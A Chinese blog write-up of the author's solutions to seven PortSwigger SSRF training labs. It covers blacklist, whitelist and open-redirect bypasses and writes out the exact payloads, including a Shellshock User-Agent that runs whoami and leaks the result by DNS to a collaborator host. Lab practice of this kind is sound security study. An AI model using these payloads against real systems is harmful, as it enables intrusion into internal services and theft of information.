SSRF(一):PortSwigger靶场笔记

h4ckb0ss
• 阅读 244

写在前面

该文章是关于作者在PortSwigger的SSRF靶场训练的记录和学习笔记 使用的工具为BurpSuite Pro 有问题请留言或联系邮箱1586937085@qq.com

漏洞简介

SSRF全称Server-Side Request Forgery(服务端请求伪造),这种漏洞允许攻击者操纵服务端向非预期目标发起请求 SSRF根据有无回显可分为普通SSRF和BlindSSRF 对使用黑名单机制防护SSRF可以使用以下方法绕过(以127.0.0.1,localhost举例

  • 对IP地址表示方式进行转化
    • 十进制:2130706433
    • 八进制:017700000001
    • 缩写:127.1
  • 注册自己的域名,解析为127.0.0.1,也可以直接使用spoofed.burpcollaborator.net
  • 对请求url进行多重url编码

Labs

lab1

lab地址:Basic SSRF against the local server 该lab关注的情景是部署网站的本地机器,即localhost 通过该lab的条件是访问http://localhost/admin,删除carlos的账户 进入lab先尝试所有功能,然后观察burp suite的http history,发现一个可能存在的SSRF SSRF(一):PortSwigger靶场笔记 使用http://localhost/admin发送请求,发现返回了admin页面,但是在浏览器中进行删除不成功,显示必须要有admin权限才能操作再次观察响应,发现删除功能的api端点 SSRF(一):PortSwigger靶场笔记 SSRF(一):PortSwigger靶场笔记 构造删除请求,成功执行,通过 SSRF(一):PortSwigger靶场笔记

lab2

lab地址:Basic SSRF against another back-end system 该lab关注的情景是部署网站的局域网内的其他机器 通过该lab的条件是探测局域网192.168.0.0/24网段中的服务,删除carlos账户 进入lab,按上述提到的流程操作,发现和lab1类似的漏洞点 构造http://192.168.0.1/admin发送请求,报错参数不存在 SSRF(一):PortSwigger靶场笔记 按照lab描述,将请求发送给intruder模块探测网段,发现192.168.0.160返回包的状态码是200 SSRF(一):PortSwigger靶场笔记 SSRF(一):PortSwigger靶场笔记 按照lab1的思路,构造url,通过 SSRF(一):PortSwigger靶场笔记

lab3

lab地址:Blind SSRF with out-of-band detection 该lab关注的情景是服务端运行分析工具读取了请求头的referrer字段,并且不会有结果回显到用户界面 通过该lab的条件是在服务端发起一起dns查询 先去collaborator生成一个随机的子域名 SSRF(一):PortSwigger靶场笔记 将请求商品详情的的请求发送到repeater,修改referrer字段 SSRF(一):PortSwigger靶场笔记 去collaborator页面观察是否有请求 SSRF(一):PortSwigger靶场笔记 收到请求,通过

lab4

lab地址:SSRF with blacklist-based input filter 该lab关注的情景是web应用基于黑名单机制对输入进行过滤,需要绕过过滤实施攻击 通过lab的条件是访问http://localhost/admin,删除carlos的账户 基于前两个lab的经验,我直接构造了以下请求,发现被阻止了 http%3a%2f%2f127.0.01%2fadmin%2fdelete%3fusername%3dcarlos SSRF(一):PortSwigger靶场笔记 修改payload,将127.0.0.1修改为127.1,再次尝试,还是不成功 SSRF(一):PortSwigger靶场笔记 再次修改payload,对url的path部分(即admin)进行一次url编码,还是不成功 http%3a%2f%2f127.1%2f%61dmin%2fdelete%3fusername%3dcarlos SSRF(一):PortSwigger靶场笔记 再次修改payload,对url的path部分进行二次url编码,成功删除carlos账户,通过 SSRF(一):PortSwigger靶场笔记

lab5

lab地址:SSRF with filter bypass via open redirection vulnerability 该lab关注的情景是web应用对url的host部分的校验非常完善,无法直接发起恶意的服务端请求,但是该域名下其他功能存在开放重定向漏洞,这时候可以通过设置开放重定向的url来实施SSRF 通过该lab的条件是访问http://192.168.0.12:8080/admin,删除carlos账户 进入lab后尝试所有的功能,发现lab1,lab2和lab4的攻击方式都不成功,发现该lab有一新功能请求如下 GET /product/nextProduct?currentProductId=7&path= path是一个实施重定向的参数,并且存在开放重定向漏洞 SSRF(一):PortSwigger靶场笔记 SSRF(一):PortSwigger靶场笔记 仿照lab1的方式再次构造payload,构造stockApi参数如下stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d7%26path%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin%2fdelete%3fusername%3dcarlos 发送请求,删除账户成功,通过 SSRF(一):PortSwigger靶场笔记

lab6

lab地址:Blind SSRF with Shellshock exploitation 该lab关注的情景是Blind SSRF 通过条件是探测网段192.168.0.0/24的8080端口,使用Shellshock漏洞获取到运行服务的OS的当前用户名 为了更好的探测网站是否存在SSRF漏洞,使用Collaborator EveryWhere插件 SSRF(一):PortSwigger靶场笔记 将lab的域名添加到target->scope中 SSRF(一):PortSwigger靶场笔记 然后浏览lab提供的页面,尝试各种操作,再次查看target->site map页面,发现提示收到了collaborator pingback,访问商品详情页的请求在User-Agent和Referrer字段可能有SSRF漏洞 SSRF(一):PortSwigger靶场笔记 将下列的请求发送到intruder中 GET /product?productId=2 HTTP/2 设置User-Agent为:() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN 设置Referrer为:http://192.168.0.1:8080 开始攻击 SSRF(一):PortSwigger靶场笔记 在collaborator客户端,收到两个dns请求,请求的域名包含了需要的用户名,提交通过 SSRF(一):PortSwigger靶场笔记

lab7

lab地址:SSRF with whitelist-based input filter SSRF(一):PortSwigger靶场笔记 构造如下payload: stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos SSRF(一):PortSwigger靶场笔记

点赞
收藏
评论区
推荐文章
Stella981 Stella981
3年前
Android逆向流程Android逆向分析大全
Android逆向流程0.写在前面本文是笔者自学笔记,以破解某目标apk的方式进行学习,中间辅以原理性知识,方便面试需求。参考文章的原文链接会附在相应流程位置,方便阅读学习。逆向分析流程.jpg1.获取目标apk第一步是拿到目标安装包文件,这一步很简单,可以在主流的第三方市场
Aimerl0 Aimerl0
3年前
Python网络爬虫与信息提取
title:Python网络爬虫与信息提取date:2020121001:00:23tags:Pythoncategories:学习笔记写在前面不知道写啥其实说实话TOC网络爬虫之规则安装requests库cmd命令行打开输入pip3installrequests,等待即可简单测试,爬一下bkjwpythonimportrequ
Aimerl0 Aimerl0
3年前
每日一题(四)
写在前面寒假重启每日一题计划,这回想挑战一些以前打得比较少的知识,比如SSRF、SSTI、JSON/COOKIE伪造、JS原型链污染等等,所以冲就完事了!FBCTF2019Event初见是一个登录框,其中Adminpanel目录提示需要先登录试了一些sql注入的万能密码,没用,常规登录后Adminpanel提示需要成为管理员Eventpan
李志宽 李志宽
1年前
ATT&CK实战系列——红队实战
这是红日的第二套靶场,一开始直接通过域管起的weblogic,有点别扭,建议还是通过本地的用户来起weblogic,漏洞利用的点很多,不要局限于这篇文章,可以多尝试尝试其他漏洞。靶场地址:http://vulnstack.qiyuanxuetang.net
Wesley13 Wesley13
3年前
MXNET:丢弃法
除了前面介绍的权重衰减以外,深度学习模型常常使用丢弃法(dropout)来应对过拟合问题。方法与原理为了确保测试模型的确定性,丢弃法的使用只发生在训练模型时,并非测试模型时。当神经网络中的某一层使用丢弃法时,该层的神经元将有一定概率被丢弃掉。设丢弃概率为$p$。具体来说,该层任一神经元在应用激活函数后,有$p$的概率自乘0,有
Stella981 Stella981
3年前
JWT攻击手册:如何入侵你的Token
JSONWebToken(JWT)对于渗透测试人员而言,可能是一个非常吸引人的攻击途径。因为它不仅可以让你伪造任意用户获得无限的访问权限,而且还可能进一步发现更多的安全漏洞,如信息泄露,越权访问,SQLi,XSS,SSRF,RCE,LFI等。首先我们需要识别应用程序正在使用JWT,最简单的方法是在代理工具的历史记录中搜索JWT正则表达式:
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
h4ckb0ss h4ckb0ss
4个月前
路径遍历(一):PortSwigger靶场通关笔记
一篇关于路径遍历portswigger的lab的学习笔记
h4ckb0ss h4ckb0ss
4个月前
文件上传(一):PortSwigger靶场通关笔记
文件上传漏洞通常指应用对用户上传的文件没有完善的检验,允许攻击者通过Web应用程序上传恶意文件到服务器,然后通过这些恶意文件来进行执行任意代码,在客户端影响用户等攻击
h4ckb0ss h4ckb0ss
4个月前
API测试(一):PortSwigger靶场笔记
这篇文章是关于作者在学习PortSwigger的APITest类型漏洞时的记录和学习笔记
h4ckb0ss
h4ckb0ss
Lv1
若为化得身千亿,散上峰头望故乡。
文章
4
粉丝
0
获赞
0